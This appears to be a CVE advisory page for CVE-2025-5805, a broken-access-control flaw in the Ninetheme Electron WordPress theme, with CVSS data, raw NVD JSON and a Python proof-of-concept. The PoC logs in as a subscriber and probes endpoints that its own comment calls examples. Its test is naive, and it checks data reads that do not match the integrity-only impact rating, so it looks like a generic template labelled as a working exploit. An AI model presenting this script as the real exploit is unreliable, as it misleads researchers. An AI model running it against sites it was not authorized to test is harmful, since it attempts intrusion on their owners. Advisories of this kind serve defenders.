Security Vulnerability Report
中文
CVE-2025-5805 CVSS 6.5 MEDIUM

CVE-2025-5805

Published: 2026-01-22 17:15:58
Last Modified: 2026-04-27 19:16:17

Description

Missing Authorization vulnerability in Ninetheme Electron electron allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Electron: from n/a through <= 1.8.2.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Ninetheme Electron Theme <= 1.8.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-5805 PoC - Broken Access Control in Electron Theme # Target: WordPress site with Electron Theme <= 1.8.2 target_url = "http://target-wordpress-site.com" # Step 1: Authenticate as low-privilege user (subscriber) login_url = f"{target_url}/wp-login.php" session = requests.Session() # Login with low privilege account login_data = { "log": "low_privilege_user", "pwd": "user_password", "wp-submit": "Log In" } session.post(login_url, data=login_data) # Step 2: Exploit the broken access control # Identify the vulnerable endpoint (example endpoint) vulnerable_endpoints = [ "/wp-admin/admin-ajax.php?action=electron_get_private_data", "/wp-json/wp/v2/users", "/wp-admin/admin.php?page=electron_settings" ] print("[*] Testing for Broken Access Control vulnerability...") for endpoint in vulnerable_endpoints: url = f"{target_url}{endpoint}" response = session.get(url) # Check if access was granted without proper authorization if response.status_code == 200 and "authorization" not in response.text.lower(): print(f"[!] VULNERABLE: {endpoint}") print(f" Response: {response.text[:200]}...") else: print(f"[-] Protected: {endpoint}") print("[*] PoC completed. If vulnerable endpoints found, access control is broken.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-5805", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:15:58.497", "lastModified": "2026-04-27T19:16:17.343", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Ninetheme Electron electron allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Electron: from n/a through <= 1.8.2."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en Ninetheme Electron electron permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Electron: desde n/a hasta &lt;= 1.8.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/electron/vulnerability/wordpress-electron-theme-1-8-2-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}